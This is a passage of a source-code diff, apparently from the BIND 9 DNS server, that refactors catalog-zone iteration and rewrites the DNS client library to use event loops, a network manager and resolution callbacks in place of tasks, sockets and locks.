 	for (result = isc_ht_iter_first(iter); result == ISC_R_SUCCESS;) {
-		dns_catz_zone_t *zone = NULL;
+		dns_catz_zone_t *catz = NULL;
 
-		isc_ht_iter_current(iter, (void **)&zone);
-		if (!zone->active) {
+		isc_ht_iter_current(iter, (void **)&catz);
+		if (!catz->active) {
 			char cname[DNS_NAME_FORMATSIZE];
-			dns_name_format(&zone->name, cname,
+			dns_name_format(&catz->name, cname,
 					DNS_NAME_FORMATSIZE);
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_MASTER, ISC_LOG_WARNING,
@@ -2037,16 +2568,14 @@ dns_catz_postreconfig(dns_catz_zones_t *catzs) {
 			 * Merge the old zone with an empty one to remove
 			 * all members.
 			 */
-			result = dns_catz_new_zone(catzs, &newzone,
-						   &zone->name);
-			INSIST(result == ISC_R_SUCCESS);
-			dns_catz_zones_merge(zone, newzone);
-			dns_catz_zone_detach(&newzone);
+			newcatz = dns_catz_zone_new(catzs, &catz->name);
+			dns__catz_zones_merge(catz, newcatz);
+			dns_catz_zone_detach(&newcatz);
 
 			/* Make sure that we have an empty catalog zone. */
-			INSIST(isc_ht_count(zone->entries) == 0);
+			INSIST(isc_ht_count(catz->entries) == 0);
 			result = isc_ht_iter_delcurrent_next(iter);
-			dns_catz_zone_detach(&zone);
+			dns_catz_zone_detach(&catz);
 		} else {
 			result = isc_ht_iter_next(iter);
 		}
@@ -2056,8 +2585,24 @@ dns_catz_postreconfig(dns_catz_zones_t *catzs) {
 	isc_ht_iter_destroy(&iter);
 }
 
-isc_result_t
-dns_catz_get_iterator(dns_catz_zone_t *catz, isc_ht_iter_t **itp) {
+void
+dns_catz_zone_for_each_entry2(dns_catz_zone_t *catz, dns_catz_entry_cb2 cb,
+			      void *arg1, void *arg2) {
 	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
-	return (isc_ht_iter_create(catz->entries, itp));
+
+	isc_ht_iter_t *iter = NULL;
+	isc_result_t result;
+
+	LOCK(&catz->catzs->lock);
+	isc_ht_iter_create(catz->entries, &iter);
+	for (result = isc_ht_iter_first(iter); result == ISC_R_SUCCESS;
+	     result = isc_ht_iter_next(iter))
+	{
+		dns_catz_entry_t *entry = NULL;
+
+		isc_ht_iter_current(iter, (void **)&entry);
+		cb(entry, arg1, arg2);
+	}
+	isc_ht_iter_destroy(&iter);
+	UNLOCK(&catz->catzs->lock);
 }
diff --git a/lib/dns/client.c b/lib/dns/client.c
index 8483d6ef0d..205c9764bc 100644
--- a/lib/dns/client.c
+++ b/lib/dns/client.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,25 +14,23 @@
 #include <stdbool.h>
 #include <stddef.h>
 
-#include <isc/app.h>
+#include <isc/async.h>
 #include <isc/buffer.h>
 #include <isc/md.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
+#include <isc/netmgr.h>
 #include <isc/portset.h>
 #include <isc/refcount.h>
+#include <isc/result.h>
 #include <isc/safe.h>
 #include <isc/sockaddr.h>
-#include <isc/socket.h>
-#include <isc/task.h>
-#include <isc/timer.h>
 #include <isc/util.h>
 
 #include <dns/adb.h>
 #include <dns/client.h>
 #include <dns/db.h>
 #include <dns/dispatch.h>
-#include <dns/events.h>
 #include <dns/forward.h>
 #include <dns/keytable.h>
 #include <dns/message.h>
@@ -43,8 +43,6 @@
 #include <dns/rdatatype.h>
 #include <dns/request.h>
 #include <dns/resolver.h>
-#include <dns/result.h>
-#include <dns/tsec.h>
 #include <dns/tsig.h>
 #include <dns/view.h>
 
@@ -61,12 +59,6 @@
 
 #define MAX_RESTARTS 16
 
-#ifdef TUNE_LARGE
-#define RESOLVER_NTASKS 523
-#else /* ifdef TUNE_LARGE */
-#define RESOLVER_NTASKS 31
-#endif /* TUNE_LARGE */
-
 #define CHECK(r)                             \
 	do {                                 \
 		result = (r);                \
@@ -81,13 +73,9 @@ struct dns_client {
 	/* Unlocked */
 	unsigned int magic;
 	unsigned int attributes;
-	isc_mutex_t lock;
 	isc_mem_t *mctx;
-	isc_appctx_t *actx;
-	isc_taskmgr_t *taskmgr;
-	isc_task_t *task;
-	isc_socketmgr_t *socketmgr;
-	isc_timermgr_t *timermgr;
+	isc_loop_t *loop;
+	isc_nm_t *nm;
 	dns_dispatchmgr_t *dispatchmgr;
 	dns_dispatch_t *dispatchv4;
 	dns_dispatch_t *dispatchv6;
@@ -97,8 +85,7 @@ struct dns_client {
 
 	isc_refcount_t references;
 
-	/* Locked */
-	dns_viewlist_t viewlist;
+	dns_view_t *view;
 	ISC_LIST(struct resctx) resctxs;
 };
 
@@ -109,18 +96,14 @@ struct dns_client {
  * Internal state for a single name resolution procedure
  */
 typedef struct resctx {
-	/* Unlocked */
 	unsigned int magic;
-	isc_mutex_t lock;
 	dns_client_t *client;
 	bool want_dnssec;
 	bool want_validation;
 	bool want_cdflag;
 	bool want_tcp;
 
-	/* Locked */
 	ISC_LINK(struct resctx) link;
-	isc_task_t *task;
 	dns_view_t *view;
 	unsigned int restarts;
 	dns_fixedname_t name;
@@ -128,8 +111,7 @@ typedef struct resctx {
 	dns_fetch_t *fetch;
 	dns_namelist_t namelist;
 	isc_result_t result;
-	dns_clientresevent_t *event;
-	bool canceled;
+	dns_clientresume_t *rev;
 	dns_rdataset_t *rdataset;
 	dns_rdataset_t *sigrdataset;
 } resctx_t;
@@ -138,21 +120,21 @@ typedef struct resctx {
  * Argument of an internal event for synchronous name resolution.
  */
 typedef struct resarg {
-	/* Unlocked */
-	isc_appctx_t *actx;
+	isc_mem_t *mctx;
 	dns_client_t *client;
-	isc_mutex_t lock;
+	const dns_name_t *name;
 
-	/* Locked */
 	isc_result_t result;
 	isc_result_t vresult;
 	dns_namelist_t *namelist;
 	dns_clientrestrans_t *trans;
-	bool canceled;
+	dns_client_resolve_cb resolve_cb;
 } resarg_t;
 
 static void
-client_resfind(resctx_t *rctx, dns_fetchevent_t *event);
+client_resfind(resctx_t *rctx, dns_fetchresponse_t *event);
+static void
+destroyrestrans(dns_clientrestrans_t **transp);
 
 /*
  * Try honoring the operating system's preferred ephemeral port range.
@@ -198,51 +180,17 @@ setsourceports(isc_mem_t *mctx, dns_dispatchmgr_t *manager) {
 
 static isc_result_t
 getudpdispatch(int family, dns_dispatchmgr_t *dispatchmgr,
-	       isc_socketmgr_t *socketmgr, isc_taskmgr_t *taskmgr,
-	       bool is_shared, dns_dispatch_t **dispp,
-	       const isc_sockaddr_t *localaddr) {
-	unsigned int attrs, attrmask;
-	dns_dispatch_t *disp;
-	unsigned buffersize, maxbuffers, maxrequests, buckets, increment;
+	       dns_dispatch_t **dispp, const isc_sockaddr_t *localaddr) {
+	dns_dispatch_t *disp = NULL;
 	isc_result_t result;
 	isc_sockaddr_t anyaddr;
 
-	attrs = 0;
-	attrs |= DNS_DISPATCHATTR_UDP;
-	switch (family) {
-	case AF_INET:
-		attrs |= DNS_DISPATCHATTR_IPV4;
-		break;
-	case AF_INET6:
-		attrs |= DNS_DISPATCHATTR_IPV6;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-	attrmask = 0;
-	attrmask |= DNS_DISPATCHATTR_UDP;
-	attrmask |= DNS_DISPATCHATTR_TCP;
-	attrmask |= DNS_DISPATCHATTR_IPV4;
-	attrmask |= DNS_DISPATCHATTR_IPV6;
-
 	if (localaddr == NULL) {
 		isc_sockaddr_anyofpf(&anyaddr, family);
 		localaddr = &anyaddr;
 	}
 
-	// OQS updated from 4096 to 8192
-	buffersize = 8192;
-	maxbuffers = is_shared ? 1000 : 8;
-	maxrequests = 32768;
-	buckets = is_shared ? 16411 : 3;
-	increment = is_shared ? 16433 : 5;
-
-	disp = NULL;
-	result = dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr, localaddr,
-				     buffersize, maxbuffers, maxrequests,
-				     buckets, increment, attrs, attrmask,
-				     &disp);
+	result = dns_dispatch_createudp(dispatchmgr, localaddr, &disp);
 	if (result == ISC_R_SUCCESS) {
 		*dispp = disp;
 	}
@@ -251,87 +199,65 @@ getudpdispatch(int family, dns_dispatchmgr_t *dispatchmgr,
 }
 
 static isc_result_t
-createview(isc_mem_t *mctx, dns_rdataclass_t rdclass, isc_taskmgr_t *taskmgr,
-	   unsigned int ntasks, isc_socketmgr_t *socketmgr,
-	   isc_timermgr_t *timermgr, dns_dispatchmgr_t *dispatchmgr,
-	   dns_dispatch_t *dispatchv4, dns_dispatch_t *dispatchv6,
-	   dns_view_t **viewp) {
+createview(isc_mem_t *mctx, dns_rdataclass_t rdclass, isc_loopmgr_t *loopmgr,
+	   isc_nm_t *nm, isc_tlsctx_cache_t *tlsctx_client_cache,
+	   dns_dispatchmgr_t *dispatchmgr, dns_dispatch_t *dispatchv4,
+	   dns_dispatch_t *dispatchv6, dns_view_t **viewp) {
 	isc_result_t result;
 	dns_view_t *view = NULL;
 
-	result = dns_view_create(mctx, rdclass, DNS_CLIENTVIEW_NAME, &view);
+	result = dns_view_create(mctx, dispatchmgr, rdclass,
+				 DNS_CLIENTVIEW_NAME, &view);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
 
 	/* Initialize view security roots */
-	result = dns_view_initsecroots(view, mctx);
-	if (result != ISC_R_SUCCESS) {
-		dns_view_detach(&view);
-		return (result);
-	}
+	dns_view_initsecroots(view);
 
-	result = dns_view_createresolver(view, taskmgr, ntasks, 1, socketmgr,
-					 timermgr, 0, dispatchmgr, dispatchv4,
-					 dispatchv6);
-	if (result != ISC_R_SUCCESS) {
-		dns_view_detach(&view);
-		return (result);
-	}
-
-	result = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_cache,
-			       rdclass, 0, NULL, &view->cachedb);
-	if (result != ISC_R_SUCCESS) {
-		dns_view_detach(&view);
-		return (result);
-	}
+	CHECK(dns_view_createresolver(view, loopmgr, 1, nm, 0,
+				      tlsctx_client_cache, dispatchv4,
+				      dispatchv6));
+	CHECK(dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_cache,
+			    rdclass, 0, NULL, &view->cachedb));
 
 	*viewp = view;
 	return (ISC_R_SUCCESS);
+
+cleanup:
+	dns_view_detach(&view);
+	return (result);
 }
 
 isc_result_t
-dns_client_create(isc_mem_t *mctx, isc_appctx_t *actx, isc_taskmgr_t *taskmgr,
-		  isc_socketmgr_t *socketmgr, isc_timermgr_t *timermgr,
-		  unsigned int options, dns_client_t **clientp,
-		  const isc_sockaddr_t *localaddr4,
+dns_client_create(isc_mem_t *mctx, isc_loopmgr_t *loopmgr, isc_nm_t *nm,
+		  unsigned int options, isc_tlsctx_cache_t *tlsctx_client_cache,
+		  dns_client_t **clientp, const isc_sockaddr_t *localaddr4,
 		  const isc_sockaddr_t *localaddr6) {
 	isc_result_t result;
 	dns_client_t *client = NULL;
-	dns_dispatchmgr_t *dispatchmgr = NULL;
 	dns_dispatch_t *dispatchv4 = NULL;
 	dns_dispatch_t *dispatchv6 = NULL;
 	dns_view_t *view = NULL;
 
 	REQUIRE(mctx != NULL);
-	REQUIRE(taskmgr != NULL);
-	REQUIRE(timermgr != NULL);
-	REQUIRE(socketmgr != NULL);
+	REQUIRE(nm != NULL);
+	REQUIRE(tlsctx_client_cache != NULL);
 	REQUIRE(clientp != NULL && *clientp == NULL);
 
 	UNUSED(options);
 
 	client = isc_mem_get(mctx, sizeof(*client));
+	*client = (dns_client_t){
+		.loop = isc_loop_get(loopmgr, 0),
+		.nm = nm,
+	};
 
-	isc_mutex_init(&client->lock);
-
-	client->actx = actx;
-	client->taskmgr = taskmgr;
-	client->socketmgr = socketmgr;
-	client->timermgr = timermgr;
-
-	client->task = NULL;
-	result = isc_task_create(client->taskmgr, 0, &client->task);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_lock;
-	}
-
-	result = dns_dispatchmgr_create(mctx, &dispatchmgr);
+	result = dns_dispatchmgr_create(mctx, nm, &client->dispatchmgr);
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup_task;
+		goto cleanup_client;
 	}
-	client->dispatchmgr = dispatchmgr;
-	(void)setsourceports(mctx, dispatchmgr);
+	(void)setsourceports(mctx, client->dispatchmgr);
 
 	/*
 	 * If only one address family is specified, use it.
@@ -339,8 +265,8 @@ dns_client_create(isc_mem_t *mctx, isc_appctx_t *actx, isc_taskmgr_t *taskmgr,
 	 */
 	client->dispatchv4 = NULL;
 	if (localaddr4 != NULL || localaddr6 == NULL) {
-		result = getudpdispatch(AF_INET, dispatchmgr, socketmgr,
-					taskmgr, true, &dispatchv4, localaddr4);
+		result = getudpdispatch(AF_INET, client->dispatchmgr,
+					&dispatchv4, localaddr4);
 		if (result == ISC_R_SUCCESS) {
 			client->dispatchv4 = dispatchv4;
 		}
@@ -348,8 +274,8 @@ dns_client_create(isc_mem_t *mctx, isc_appctx_t *actx, isc_taskmgr_t *taskmgr,
 
 	client->dispatchv6 = NULL;
 	if (localaddr6 != NULL || localaddr4 == NULL) {
-		result = getudpdispatch(AF_INET6, dispatchmgr, socketmgr,
-					taskmgr, true, &dispatchv6, localaddr6);
+		result = getudpdispatch(AF_INET6, client->dispatchmgr,
+					&dispatchv6, localaddr6);
 		if (result == ISC_R_SUCCESS) {
 			client->dispatchv6 = dispatchv6;
 		}
@@ -364,26 +290,23 @@ dns_client_create(isc_mem_t *mctx, isc_appctx_t *actx, isc_taskmgr_t *taskmgr,
 	isc_refcount_init(&client->references, 1);
 
 	/* Create the default view for class IN */
-	result = createview(mctx, dns_rdataclass_in, taskmgr, RESOLVER_NTASKS,
-			    socketmgr, timermgr, dispatchmgr, dispatchv4,
-			    dispatchv6, &view);
+	result = createview(mctx, dns_rdataclass_in, loopmgr, nm,
+			    tlsctx_client_cache, client->dispatchmgr,
+			    dispatchv4, dispatchv6, &view);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_references;
 	}
 
-	ISC_LIST_INIT(client->viewlist);
-	ISC_LIST_APPEND(client->viewlist, view, link);
+	client->view = view;
 
 	dns_view_freeze(view); /* too early? */
 
 	ISC_LIST_INIT(client->resctxs);
 
-	client->mctx = NULL;
 	isc_mem_attach(mctx, &client->mctx);
 
 	client->find_timeout = DEF_FIND_TIMEOUT;
 	client->find_udpretries = DEF_FIND_UDPRETRIES;
-	client->attributes = 0;
 
 	client->magic = DNS_CLIENT_MAGIC;
 
@@ -401,11 +324,8 @@ dns_client_create(isc_mem_t *mctx, isc_appctx_t *actx, isc_taskmgr_t *taskmgr,
 	if (dispatchv6 != NULL) {
 		dns_dispatch_detach(&dispatchv6);
 	}
-	dns_dispatchmgr_destroy(&dispatchmgr);
-cleanup_task:
-	isc_task_detach(&client->task);
-cleanup_lock:
-	isc_mutex_destroy(&client->lock);
+	dns_dispatchmgr_detach(&client->dispatchmgr);
+cleanup_client:
 	isc_mem_put(mctx, client, sizeof(*client));
 
 	return (result);
@@ -413,14 +333,9 @@ dns_client_create(isc_mem_t *mctx, isc_appctx_t *actx, isc_taskmgr_t *taskmgr,
 
 static void
 destroyclient(dns_client_t *client) {
-	dns_view_t *view;
-
 	isc_refcount_destroy(&client->references);
 
-	while ((view = ISC_LIST_HEAD(client->viewlist)) != NULL) {
-		ISC_LIST_UNLINK(client->viewlist, view, link);
-		dns_view_detach(&view);
-	}
+	dns_view_detach(&client->view);
 
 	if (client->dispatchv4 != NULL) {
 		dns_dispatch_detach(&client->dispatchv4);
@@ -429,24 +344,22 @@ destroyclient(dns_client_t *client) {
 		dns_dispatch_detach(&client->dispatchv6);
 	}
 
-	dns_dispatchmgr_destroy(&client->dispatchmgr);
-
-	isc_task_detach(&client->task);
+	dns_dispatchmgr_detach(&client->dispatchmgr);
 
-	isc_mutex_destroy(&client->lock);
 	client->magic = 0;
 
 	isc_mem_putanddetach(&client->mctx, client, sizeof(*client));
 }
 
 void
-dns_client_destroy(dns_client_t **clientp) {
-	dns_client_t *client;
+dns_client_detach(dns_client_t **clientp) {
+	dns_client_t *client = NULL;
 
 	REQUIRE(clientp != NULL);
+	REQUIRE(DNS_CLIENT_VALID(*clientp));
+
 	client = *clientp;
 	*clientp = NULL;
-	REQUIRE(DNS_CLIENT_VALID(client));
 
 	if (isc_refcount_decrement(&client->references) == 1) {
 		destroyclient(client);
@@ -457,57 +370,18 @@ isc_result_t
 dns_client_setservers(dns_client_t *client, dns_rdataclass_t rdclass,
 		      const dns_name_t *name_space, isc_sockaddrlist_t *addrs) {
 	isc_result_t result;
-	dns_view_t *view = NULL;
 
 	REQUIRE(DNS_CLIENT_VALID(client));
 	REQUIRE(addrs != NULL);
+	REQUIRE(rdclass == dns_rdataclass_in);
 
 	if (name_space == NULL) {
 		name_space = dns_rootname;
 	}
 
-	LOCK(&client->lock);
-	result = dns_viewlist_find(&client->viewlist, DNS_CLIENTVIEW_NAME,
-				   rdclass, &view);
-	if (result != ISC_R_SUCCESS) {
-		UNLOCK(&client->lock);
-		return (result);
-	}
-	UNLOCK(&client->lock);
-
-	result = dns_fwdtable_add(view->fwdtable, name_space, addrs,
+	result = dns_fwdtable_add(client->view->fwdtable, name_space, addrs,
 				  dns_fwdpolicy_only);
 
-	dns_view_detach(&view);
-
-	return (result);
-}
-
-isc_result_t
-dns_client_clearservers(dns_client_t *client, dns_rdataclass_t rdclass,
-			const dns_name_t *name_space) {
-	isc_result_t result;
-	dns_view_t *view = NULL;
-
-	REQUIRE(DNS_CLIENT_VALID(client));
-
-	if (name_space == NULL) {
-		name_space = dns_rootname;
-	}
-
-	LOCK(&client->lock);
-	result = dns_viewlist_find(&client->viewlist, DNS_CLIENTVIEW_NAME,
-				   rdclass, &view);
-	if (result != ISC_R_SUCCESS) {
-		UNLOCK(&client->lock);
-		return (result);
-	}
-	UNLOCK(&client->lock);
-
-	result = dns_fwdtable_delete(view->fwdtable, name_space);
-
-	dns_view_detach(&view);
-
 	return (result);
 }
 
@@ -544,19 +418,16 @@ putrdataset(isc_mem_t *mctx, dns_rdataset_t **rdatasetp) {
 }
 
 static void
-fetch_done(isc_task_t *task, isc_event_t *event) {
-	resctx_t *rctx = event->ev_arg;
-	dns_fetchevent_t *fevent;
+fetch_done(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	resctx_t *rctx = resp->arg;
 
-	REQUIRE(event->ev_type == DNS_EVENT_FETCHDONE);
 	REQUIRE(RCTX_VALID(rctx));
-	REQUIRE(rctx->task == task);
-	fevent = (dns_fetchevent_t *)event;
 
-	client_resfind(rctx, fevent);
+	client_resfind(rctx, resp);
 }
 
-static inline isc_result_t
+static isc_result_t
 start_fetch(resctx_t *rctx) {
 	isc_result_t result;
 	int fopts = 0;
@@ -580,8 +451,8 @@ start_fetch(resctx_t *rctx) {
 	result = dns_resolver_createfetch(
 		rctx->view->resolver, dns_fixedname_name(&rctx->name),
 		rctx->type, NULL, NULL, NULL, NULL, 0, fopts, 0, NULL,
-		rctx->task, fetch_done, rctx, rctx->rdataset, rctx->sigrdataset,
-		&rctx->fetch);
+		rctx->client->loop, fetch_done, rctx, rctx->rdataset,
+		rctx->sigrdataset, &rctx->fetch);
 
 	return (result);
 }
@@ -607,15 +478,15 @@ view_find(resctx_t *rctx, dns_db_t **dbp, dns_dbnode_t **nodep,
 }
 
 static void
-client_resfind(resctx_t *rctx, dns_fetchevent_t *event) {
-	isc_mem_t *mctx;
+client_resfind(resctx_t *rctx, dns_fetchresponse_t *resp) {
+	isc_mem_t *mctx = NULL;
 	isc_result_t tresult, result = ISC_R_SUCCESS;
 	isc_result_t vresult = ISC_R_SUCCESS;
 	bool want_restart;
 	bool send_event = false;
-	dns_name_t *name, *prefix;
+	dns_name_t *name = NULL, *prefix = NULL;
 	dns_fixedname_t foundname, fixed;
-	dns_rdataset_t *trdataset;
+	dns_rdataset_t *trdataset = NULL;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	unsigned int nlabels;
 	int order;
@@ -625,8 +496,6 @@ client_resfind(resctx_t *rctx, dns_fetchevent_t *event) {
 
 	REQUIRE(RCTX_VALID(rctx));
 
-	LOCK(&rctx->lock);
-
 	mctx = rctx->view->mctx;
 
 	name = dns_fixedname_name(&rctx->name);
@@ -640,7 +509,7 @@ client_resfind(resctx_t *rctx, dns_fetchevent_t *event) {
 		rctx->restarts++;
 		want_restart = false;
 
-		if (event == NULL && !rctx->canceled) {
+		if (resp == NULL) {
 			fname = dns_fixedname_initname(&foundname);
 			INSIST(!dns_rdataset_isassociated(rctx->rdataset));
 			INSIST(rctx->sigrdataset == NULL ||
@@ -670,35 +539,29 @@ client_resfind(resctx_t *rctx, dns_fetchevent_t *event) {
 				goto done;
 			}
 		} else {
-			INSIST(event != NULL);
-			INSIST(event->fetch == rctx->fetch);
+			INSIST(resp != NULL);
+			INSIST(resp->fetch == rctx->fetch);
 			dns_resolver_destroyfetch(&rctx->fetch);
-			db = event->db;
-			node = event->node;
-			result = event->result;
-			vresult = event->vresult;
-			fname = dns_fixedname_name(&event->foundname);
-			INSIST(event->rdataset == rctx->rdataset);
-			INSIST(event->sigrdataset == rctx->sigrdataset);
+			db = resp->db;
+			node = resp->node;
+			result = resp->result;
+			vresult = resp->vresult;
+			fname = resp->foundname;
+			INSIST(resp->rdataset == rctx->rdataset);
+			INSIST(resp->sigrdataset == rctx->sigrdataset);
+			isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 		}
 
 		/*
-		 * If we've been canceled, forget about the result.
+		 * Get some resource for copying the
+		 * result.
 		 */
-		if (rctx->canceled) {
-			result = ISC_R_CANCELED;
-		} else {
-			/*
-			 * Otherwise, get some resource for copying the
-			 * result.
-			 */
-			dns_name_t *aname = dns_fixedname_name(&rctx->name);
+		dns_name_t *aname = dns_fixedname_name(&rctx->name);
 
-			ansname = isc_mem_get(mctx, sizeof(*ansname));
-			dns_name_init(ansname, NULL);
+		ansname = isc_mem_get(mctx, sizeof(*ansname));
+		dns_name_init(ansname, NULL);
 
-			dns_name_dup(aname, mctx, ansname);
-		}
+		dns_name_dup(aname, mctx, ansname);
 
 		switch (result) {
 		case ISC_R_SUCCESS:
@@ -814,7 +677,7 @@ client_resfind(resctx_t *rctx, dns_fetchevent_t *event) {
 			int n = 0;
 			dns_rdatasetiter_t *rdsiter = NULL;
 
-			tresult = dns_db_allrdatasets(db, node, NULL, 0,
+			tresult = dns_db_allrdatasets(db, node, NULL, 0, 0,
 						      &rdsiter);
 			if (tresult != ISC_R_SUCCESS) {
 				result = tresult;
@@ -841,7 +704,8 @@ client_resfind(resctx_t *rctx, dns_fetchevent_t *event) {
 				tresult = dns_rdatasetiter_next(rdsiter);
 
 				if (tresult == ISC_R_SUCCESS &&
-				    rctx->rdataset == NULL) {
+				    rctx->rdataset == NULL)
+				{
 					tresult = getrdataset(mctx,
 							      &rctx->rdataset);
 					if (tresult != ISC_R_SUCCESS) {
@@ -900,7 +764,8 @@ client_resfind(resctx_t *rctx, dns_fetchevent_t *event) {
 			dns_rdataset_t *rdataset;
 
 			while ((rdataset = ISC_LIST_HEAD(ansname->list)) !=
-			       NULL) {
+			       NULL)
+			{
 				ISC_LIST_UNLINK(ansname->list, rdataset, link);
 				putrdataset(mctx, &rdataset);
 			}
@@ -914,9 +779,6 @@ client_resfind(resctx_t *rctx, dns_fetchevent_t *event) {
 		if (db != NULL) {
 			dns_db_detach(&db);
 		}
-		if (event != NULL) {
-			isc_event_free(ISC_EVENT_PTR(&event));
-		}
 
 		/*
 		 * Limit the number of restarts.
@@ -950,44 +812,24 @@ client_resfind(resctx_t *rctx, dns_fetchevent_t *event) {
 	} while (want_restart);
 
 	if (send_event) {
-		isc_task_t *task;
-
 		while ((name = ISC_LIST_HEAD(rctx->namelist)) != NULL) {
 			ISC_LIST_UNLINK(rctx->namelist, name, link);
-			ISC_LIST_APPEND(rctx->event->answerlist, name, link);
+			ISC_LIST_APPEND(rctx->rev->answerlist, name, link);
 		}
 
-		rctx->event->result = result;
-		rctx->event->vresult = vresult;
-		task = rctx->event->ev_sender;
-		rctx->event->ev_sender = rctx;
-		isc_task_sendanddetach(&task, ISC_EVENT_PTR(&rctx->event));
+		rctx->rev->result = result;
+		rctx->rev->vresult = vresult;
+		isc_async_run(rctx->client->loop, rctx->rev->cb, rctx->rev);
 	}
-
-	UNLOCK(&rctx->lock);
 }
 
 static void
-suspend(isc_task_t *task, isc_event_t *event) {
-	isc_appctx_t *actx = event->ev_arg;
-
-	UNUSED(task);
-
-	isc_app_ctxsuspend(actx);
-	isc_event_free(&event);
-}
-
-static void
-resolve_done(isc_task_t *task, isc_event_t *event) {
-	resarg_t *resarg = event->ev_arg;
-	dns_clientresevent_t *rev = (dns_clientresevent_t *)event;
-	dns_name_t *name;
+resolve_done(void *arg) {
+	dns_clientresume_t *rev = (dns_clientresume_t *)arg;
+	resarg_t *resarg = rev->arg;
+	dns_name_t *name = NULL;
 	isc_result_t result;
 
-	UNUSED(task);
-
-	LOCK(&resarg->lock);
-
 	resarg->result = rev->result;
 	resarg->vresult = rev->vresult;
 	while ((name = ISC_LIST_HEAD(rev->answerlist)) != NULL) {
@@ -995,133 +837,79 @@ resolve_done(isc_task_t *task, isc_event_t *event) {
 		ISC_LIST_APPEND(*resarg->namelist, name, link);
 	}
 
-	dns_client_destroyrestrans(&resarg->trans);
-	isc_event_free(&event);
+	isc_mem_put(resarg->mctx, rev, sizeof(*rev));
+	destroyrestrans(&resarg->trans);
 
-	if (!resarg->canceled) {
-		UNLOCK(&resarg->lock);
+	result = resarg->result;
 
+	if (result != ISC_R_SUCCESS && resarg->vresult != ISC_R_SUCCESS) {
 		/*
-		 * We may or may not be running.  isc__appctx_onrun will
-		 * fail if we are currently running otherwise we post a
-		 * action to call isc_app_ctxsuspend when we do start
-		 * running.
-		 */
-		result = isc_app_ctxonrun(resarg->actx, resarg->client->mctx,
-					  task, suspend, resarg->actx);
-		if (result == ISC_R_ALREADYRUNNING) {
-			isc_app_ctxsuspend(resarg->actx);
-		}
-	} else {
-		/*
-		 * We have already exited from the loop (due to some
-		 * unexpected event).  Just clean the arg up.
+		 * If this lookup failed due to some error in DNSSEC
+		 * validation, return the validation error code.
+		 * XXX: or should we pass the validation result separately?
 		 */
-		UNLOCK(&resarg->lock);
-		isc_mutex_destroy(&resarg->lock);
-		isc_mem_put(resarg->client->mctx, resarg, sizeof(*resarg));
+		result = resarg->vresult;
 	}
+
+	resarg->resolve_cb(resarg->client, resarg->name, resarg->namelist,
+			   result);
+
+	dns_client_detach(&resarg->client);
+
+	isc_mem_putanddetach(&resarg->mctx, resarg, sizeof(*resarg));
 }
 
 isc_result_t
 dns_client_resolve(dns_client_t *client, const dns_name_t *name,
 		   dns_rdataclass_t rdclass, dns_rdatatype_t type,
-		   unsigned int options, dns_namelist_t *namelist) {
+		   unsigned int options, dns_namelist_t *namelist,
+		   dns_client_resolve_cb resolve_cb) {
 	isc_result_t result;
-	resarg_t *resarg;
+	resarg_t *resarg = NULL;
 
 	REQUIRE(DNS_CLIENT_VALID(client));
-	REQUIRE(client->actx != NULL);
 	REQUIRE(namelist != NULL && ISC_LIST_EMPTY(*namelist));
+	REQUIRE(rdclass == dns_rdataclass_in);
 
 	resarg = isc_mem_get(client->mctx, sizeof(*resarg));
 
 	*resarg = (resarg_t){
-		.actx = client->actx,
 		.client = client,
+		.name = name,
 		.result = DNS_R_SERVFAIL,
 		.namelist = namelist,
+		.resolve_cb = resolve_cb,
 	};
 
-	isc_mutex_init(&resarg->lock);
+	isc_mem_attach(client->mctx, &resarg->mctx);
 
 	result = dns_client_startresolve(client, name, rdclass, type, options,
-					 client->task, resolve_done, resarg,
-					 &resarg->trans);
+					 resolve_done, resarg, &resarg->trans);
 	if (result != ISC_R_SUCCESS) {
-		isc_mutex_destroy(&resarg->lock);
 		isc_mem_put(client->mctx, resarg, sizeof(*resarg));
 		return (result);
 	}
 
-	/*
-	 * Start internal event loop.  It blocks until the entire process
-	 * is completed.
-	 */
-	result = isc_app_ctxrun(client->actx);
-
-	LOCK(&resarg->lock);
-	if (result == ISC_R_SUCCESS || result == ISC_R_SUSPEND) {
-		result = resarg->result;
-	}
-	if (result != ISC_R_SUCCESS && resarg->vresult != ISC_R_SUCCESS) {
-		/*
-		 * If this lookup failed due to some error in DNSSEC
-		 * validation, return the validation error code.
-		 * XXX: or should we pass the validation result separately?
-		 */
-		result = resarg->vresult;
-	}
-	if (resarg->trans != NULL) {
-		/*
-		 * Unusual termination (perhaps due to signal).  We need some
-		 * tricky cleanup process.
-		 */
-		resarg->canceled = true;
-		dns_client_cancelresolve(resarg->trans);
-
-		UNLOCK(&resarg->lock);
-
-		/* resarg will be freed in the event handler. */
-	} else {
-		UNLOCK(&resarg->lock);
-
-		isc_mutex_destroy(&resarg->lock);
-		isc_mem_put(client->mctx, resarg, sizeof(*resarg));
-	}
-
 	return (result);
 }
 
 isc_result_t
 dns_client_startresolve(dns_client_t *client, const dns_name_t *name,
 			dns_rdataclass_t rdclass, dns_rdatatype_t type,
-			unsigned int options, isc_task_t *task,
-			isc_taskaction_t action, void *arg,
+			unsigned int options, isc_job_cb cb, void *arg,
 			dns_clientrestrans_t **transp) {
-	dns_view_t *view = NULL;
-	dns_clientresevent_t *event = NULL;
+	dns_clientresume_t *rev = NULL;
 	resctx_t *rctx = NULL;
-	isc_task_t *tclone = NULL;
-	isc_mem_t *mctx;
+	isc_mem_t *mctx = NULL;
 	isc_result_t result;
-	dns_rdataset_t *rdataset, *sigrdataset;
